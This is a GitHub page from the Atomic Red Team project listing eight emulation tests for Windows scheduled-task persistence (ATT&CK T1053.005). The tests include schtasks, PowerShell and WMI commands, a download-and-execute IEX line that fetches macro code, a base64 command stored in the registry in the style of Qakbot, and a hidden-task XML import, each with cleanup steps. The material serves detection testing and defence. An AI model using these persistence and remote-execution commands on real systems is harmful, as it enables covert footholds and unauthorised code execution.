




Sign in


 redcanaryco / atomic-red-team

Public

 Notifications


 Fork

2.8k


 Star

9.7k


<> Code


 Issues


6


 Pull requests

4

 Actions

 Wiki

 Security

 Insights

atomic-red-team / atomics / T1053.005 / T1053.005.md 





345 lines (179 loc) · 10.2 KB

T1053.005 - Scheduled Task

Description from ATT&CK

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](<https://attack.mitre.org/software/S0111>) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated [at](#) utility could also be abused by adversaries (ex: [At](#)), though `at.exe` can not access tasks created with `schtasks` or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](#), adversaries have

also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)

Atomic Tests

- [Atomic Test #1 - Scheduled Task Startup Script](#)
- [Atomic Test #2 - Scheduled task Local](#)
- [Atomic Test #3 - Scheduled task Remote](#)
- [Atomic Test #4 - Powershell Cmdlet Scheduled Task](#)
- [Atomic Test #5 - Task Scheduler via VBA](#)
- [Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task](#)
- [Atomic Test #7 - Scheduled Task Executing Base64 Encoded Commands From Registry](#)
- [Atomic Test #8 - Import XML Schedule Task with Hidden Attribute](#)

Atomic Test #1 - Scheduled Task Startup Script

Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.

Supported Platforms: Windows

auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2

Attack Commands: Run with **command_prompt** ! Elevation Required (e.g. root or admin)

```
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"  
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c "
```



Cleanup Commands:

```
schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1  
schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
```



Atomic Test #2 - Scheduled task Local

Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.

Supported Platforms: Windows

auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71

Inputs:

Name	Description	Type	Default Value
task_command	What you want to execute	String	C:\windows\system32\cmd.exe
time	What time 24 Hour	String	20:10

Attack Commands: Run with **command_prompt** !

```
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
```



Cleanup Commands:

```
SCHTASKS /Delete /TN spawn /F >nul 2>&1
```



Atomic Test #3 - Scheduled task Remote

Create a task on a remote system.

Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.

Supported Platforms: Windows

auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd

Inputs:

Name	Description	Type	Default Value
task_command	What you want to execute	String	C:\windows\system32\cmd.exe
time	What time 24 Hour	String	20:10
target	Target	String	localhost
user_name	Username to authenticate with, format: DOMAIN\User	String	DOMAIN\user
password	Password to authenticate with	String	At0micStrong

Attack Commands: Run with **command_prompt** ! Elevation Required (e.g. root or admin)

```
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /
```

Preview

Code

Blame

Raw



```
SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F
```

Atomic Test #4 - Powershell Cmdlet Scheduled Task

Create an atomic scheduled task that leverages native powershell cmdlets.

Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.

Supported Platforms: Windows

auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd

Attack Commands: Run with powershell !

```
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel High
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -SecurityDescriptor $Set
Register-ScheduledTask AtomicTask -InputObject $object
```



Cleanup Commands:

```
Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1
```



Atomic Test #5 - Task Scheduler via VBA

This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run

Supported Platforms: Windows

auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3

Inputs:

Name	Description	Type	Default Value
ms_product	Maldoc application Word	String	Word

Attack Commands: Run with powershell !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1053.005/T1053.005-macrocode.txt")
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt"
```



Dependencies: Run with **powershell**!

Description: Microsoft #{ms_product} must be installed

Check Prereq Commands:

```
try {  
    New-Object -COMObject "#{ms_product}.Application" | Out-Null  
    $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}  
    Stop-Process -Name $process  
    exit 0  
} catch { exit 1 }
```



Get Prereq Commands:

```
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this
```



Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task

Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.

Supported Platforms: Windows

auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b

Attack Commands: Run with **powershell**! Elevation Required (e.g. root or admin)

```
$xml = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1053.005\src\T1053_005_1  
Invoke-CimMethod -ClassName PS_ScheduledTask -Namespace "Root\Microsoft\Windows\Ta
```



Cleanup Commands:

```
Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1
```



Atomic Test #7 - Scheduled Task Executing Base64 Encoded Commands From Registry

A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot.

[Additional Information](#)

Supported Platforms: Windows

auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba

Inputs:

Name	Description	Type	Default Value
time	Daily scheduled task execution time	string	07:45

Attack Commands: Run with `command_prompt` !

```
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /·  
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \" powershell
```

Cleanup Commands:

```
schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1  
reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
```

Atomic Test #8 - Import XML Schedule Task with Hidden Attribute

Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaign the industroyer2.

Supported Platforms: Windows

auto_generated_guid: cd925593-fbb4-486d-8def-16cbdf944bf4

Attack Commands: Run with `powershell` ! Elevation Required (e.g. root or admin)

```
$xml = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1053.005\src\T1053_05_ScheduledTask.xml")  
Invoke-CimMethod -ClassName PS_ScheduledTask -Namespace "Root\Microsoft\Windows\TaskScheduler" -Method Register -Arguments ($xml)
```

Cleanup Commands:

```
Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false >$null 2>&1
```